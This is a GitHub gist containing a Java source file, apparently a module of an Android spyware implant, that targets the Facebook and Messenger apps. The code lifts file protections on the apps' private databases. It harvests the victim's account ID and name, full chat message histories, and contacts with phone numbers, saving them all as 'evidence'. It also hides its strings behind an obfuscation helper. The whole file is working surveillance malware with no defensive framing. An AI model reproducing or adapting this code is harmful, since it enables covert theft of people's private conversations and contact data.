Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save peterclemenko/0e73f3b4d73b3be4c47d to your computer and use it in GitHub Desktop.
Save peterclemenko/0e73f3b4d73b3be4c47d to your computer and use it in GitHub Desktop.
package com.android.dvci.module.chat;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;
import java.util.concurrent.Semaphore;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONTokener;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordHashPairVisitor;
import com.android.dvci.db.RecordHashtableIdVisitor;
import com.android.dvci.db.RecordListVisitor;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
public class ChatFacebook extends SubModuleChat {
private static final String TAG = "ChatFacebook";
private static final int PROGRAM = 0x02;
String pObserving = M.e("com.facebook.");
private Date lastTimestamp;
private Hashtable<String, Long> lastFb;
Semaphore readChatSemaphore = new Semaphore(1, true);
// private String dbDir;
private String account_uid;
private String account_name;
String dirKatana = M.e("/data/data/com.facebook.katana/databases");
String dirOrca = M.e("/data/data/com.facebook.orca/databases");
private Hashtable<String, Contact> contacts = new Hashtable<String, Contact>();
@Override
public int getProgramId() {
return PROGRAM;
}
@Override
String getObservingProgram() {
return pObserving;
}
@Override
void notifyStopProgram(String processName) {
if (processName.contains(M.e("katana")))
fetchFb(dirKatana);
else if (processName.contains(M.e("orca")))
fetchFb(dirOrca);
}
@Override
protected void start() {
lastFb = markup.unserialize(new Hashtable<String, Long>());
if (Cfg.DEBUG) {
Check.log(TAG + " (start), read lastFb: " + lastFb);
}
if (!fetchFb(dirOrca)) {
fetchFb(dirKatana);
}
}
private boolean fetchFb(String dir) {
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchFb) " + dir);
}
if (readMyAccount(dir)) {
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.FACEBOOK, account_uid, account_name);
readFbMessageHistory(dir);
return true;
}
return false;
}
@Override
protected void stop() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stop), ");
}
}
private boolean readMyAccount(String dbDir) {
String dbFile = M.e("prefs_db");
if (!Path.unprotect(dbDir + "/" + dbFile, 3, false)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyAccount) cannot unprotect file: %s/%s", dbDir, dbFile);
}
return false;
}
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyAccount) Error: cannot open " + dbDir + "/" + dbFile);
}
return false;
}
try {
String selection = null;
RecordHashPairVisitor visitor = new RecordHashPairVisitor("key", "value");
helper.traverseRecords(M.e("preferences"), visitor);
Hashtable<String, String> preferences = visitor.getMap();
account_uid = preferences.get(M.e("/auth/user_data/fb_uid"));
account_name = preferences.get(M.e("/auth/user_data/fb_username"));
if (StringUtils.isEmpty(account_name)) {
String account_user = preferences.get(M.e("/auth/user_data/fb_me_user"));
try {
JSONObject root = (JSONObject) new JSONTokener(account_user).nextValue();
account_uid = root.getString("uid");
account_name = root.getString("name");
} catch (JSONException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyAccount) Error: " + e);
}
}
}
return (!StringUtils.isEmpty(account_name) && !StringUtils.isEmpty(account_uid));
}finally{
helper.disposeDb();
}
}
private void readFbMessageHistory(String dbDir) {
if (!readChatSemaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory), semaphore red");
}
return;
}
try {
boolean updateMarkup = false;
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) account: " + account_uid + " dir: " + dbDir);
}
Path.unprotectAll(dbDir, true);
if (ModuleAddressBook.getInstance() != null) {
if (Path.unprotect(dbDir, M.e("users_db2"), true)) {
readAddressUser(dbDir);
} else if (Path.unprotect(dbDir, M.e("contacts_db2"), true)) {
readAddressContacts(dbDir);
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) AddressBook not enabled.");
}
}
String dbFile1 = M.e("threads_db");
String dbFile2 = M.e("threads_db2");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile1);
if (helper == null) {
helper = GenericSqliteHelper.open(dbDir, dbFile2);
}
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (getFbConversations) Error: null helper");
}
return;
}
try{
try {
readFB(helper, M.e("thread_id"));
return;
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) Error: " + ex);
}
}
try {
readFB(helper, "thread_key");
return;
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) Error: " + ex);
}
}
} finally{
helper.disposeDb();
}
} finally {
readChatSemaphore.release();
}
}
private void readFB(GenericSqliteHelper helper, String field_id) {
List<FbConversation> conversations = getFbConversations(field_id, helper, account_uid);
for (FbConversation conv : conversations) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) conversation: " + conv.id);
}
long lastConvId = lastFb.containsKey(conv.id) ? lastFb.get(conv.id) : 0;
if (lastConvId < conv.timestamp) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readFbMessageHistory) lastConvId(" + lastConvId + ") < conv.timestamp("
+ conv.timestamp + ")");
}
long lastReadId = (long) fetchMessages(field_id, helper, conv, lastConvId);
if (lastReadId > 0) {
updateMarkupFb(conv.id, lastReadId, true);
}
}
}
}
private long fetchMessages(String id_field, GenericSqliteHelper helper, final FbConversation conv, long lastConvId) {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String[] projection = new String[] { M.e("text"), M.e("sender"), M.e("timestamp_ms") };
String selection = String.format(id_field + M.e(" = '%s' and text != '' and timestamp_ms > %s"), conv.id,
lastConvId);
String order = M.e("timestamp_ms");
RecordVisitor visitor = new RecordVisitor(projection, selection, order) {
@Override
public long cursor(Cursor cursor) {
long timestamp = 0;
try {
String body = cursor.getString(0);
String sender = cursor.getString(1);
JSONObject root = (JSONObject) new JSONTokener(sender).nextValue();
String peer = root.getString(M.e("email")).split("@")[0];
String name = root.getString(M.e("name"));
// localtime or gmt? should be converted to gmt
timestamp = cursor.getLong(2);
Date date = new Date(timestamp);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) sc.account: " + conv.account + " peer: " + peer + " body: " + body
+ " timestamp:" + timestamp);
}
boolean incoming = !(peer.equals(conv.account));
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) incoming: " + incoming);
}
String from, to = null;
String fromDisplay, toDisplay = null;
from = peer;
fromDisplay = name;
to = conv.getTo(peer);
toDisplay = conv.getDisplayTo(peer);
if (!StringUtils.isEmpty(body)) {
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
body, incoming);
messages.add(message);
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchMessages) Error: " + ex);
}
}
return timestamp;
}
};
long newLastId = helper.traverseRecords(M.e("messages"), visitor);
if (messages != null && messages.size() > 0) {
saveEvidence(messages);
}
return newLastId;
}
private void updateMarkupFb(String threadId, long newLastId, boolean serialize) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupSkype), mailStore: " + threadId + " +lastId: " + newLastId);
}
lastFb.put(threadId, newLastId);
try {
if (serialize || (newLastId % 10 == 0)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupSkype), write lastId: " + newLastId);
}
markup.writeMarkupSerializable(lastFb);
}
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupSkype) Error: " + e);
}
}
}
public void saveEvidence(ArrayList<MessageChat> messages) {
getModule().saveEvidence(messages);
}
private List<FbConversation> getFbConversations(String id_field, GenericSqliteHelper helper, final String account) {
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (getFbConversations) Error: null helper");
}
return null;
}
final List<FbConversation> conversations = new ArrayList<FbConversation>();
// "thread_id"
String[] projection = new String[] { id_field, M.e("participants"), M.e("timestamp_ms") };
String selection = M.e("timestamp_ms > 0 ");
RecordVisitor visitor = new RecordVisitor(projection, selection) {
@Override
public long cursor(Cursor cursor) {
FbConversation c = new FbConversation();
c.account = account;
c.id = cursor.getString(0);
String value = cursor.getString(1);
c.timestamp = cursor.getLong(2);
Contact[] contacts;
try {
contacts = json2Contacts(value);
c.contacts = contacts;
if (Cfg.DEBUG) {
// Check.log(TAG + " (cursor) contacts: " +
// contacts[0].name + " -> " + contacts[1].name);
}
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
conversations.add(c);
return 0;
}
};
helper.traverseRecords(M.e("threads"), visitor);
return conversations;
}
private void readAddressUser(String dbDir) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAddressUser) ");
}
String dbFile = M.e("users_db2");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
// SQLiteDatabase db = helper.getReadableDatabase();
String[] projection = StringUtils.split( M.e("fbid,first_name,last_name,name,email_addresses,phone_numbers") );
String selection = null;
RecordHashtableIdVisitor visitor = new RecordHashtableIdVisitor(projection);
helper.traverseRecords("facebook_user", visitor);
}
private void readAddressContacts(String dbDir) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAddressContacts) ");
}
String dbFile = M.e("contacts_db2");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
// SQLiteDatabase db = helper.getReadableDatabase();
RecordListVisitor visitor = new RecordListVisitor("data");
helper.traverseRecords(M.e("contacts"), visitor);
boolean serializeContacts = false;
for (String value : visitor.getList()) {
try {
Contact contact = json2Contact(value);
serializeContacts |= ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.FACEBOOK, contact);
contacts.put(contact.id, contact);
} catch (JSONException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAddressContacts) Error: " + e);
}
}
}
if (serializeContacts) {
ModuleAddressBook.getInstance().serializeContacts();
}
}
private Contact json2Contact(String value) throws JSONException {
JSONObject root = (JSONObject) new JSONTokener(value).nextValue();
String fbId = root.getString(M.e("profileFbid"));
JSONObject name = root.getJSONObject(M.e("name"));
String fullName = name.getString(M.e("displayName"));
JSONArray phones = root.getJSONArray(M.e("phones"));
String numbers = "";
for (int i = 0; i < phones.length(); i++) {
numbers += phones.getJSONObject(i).get(M.e("universalNumber")) + " ";
}
// String picture = root.getString("bigPictureUrl");
Contact contact = new Contact(fbId, numbers, fullName, "Id: " + fbId);
return contact;
}
private Contact[] json2Contacts(String value) throws JSONException {
JSONArray jcontacts = (JSONArray) new JSONTokener(value).nextValue();
Contact[] contacts = new Contact[jcontacts.length()];
for (int i = 0; i < jcontacts.length(); i++) {
JSONObject root = (JSONObject) jcontacts.get(i);
if (Cfg.DEBUG) {
Check.log(TAG + " (json2Contacts) root: " + root);
}
String email = root.getString(M.e("email"));
String fbId = email.split("@")[0];
String fullName = root.getString(M.e("name"));
Contact contact = new Contact(fbId, "", fullName, M.e("Id: ") + fbId);
if (Cfg.DEBUG) {
Check.log(TAG + " (json2Contacts) " + contact);
}
contacts[i] = contact;
}
return contacts;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment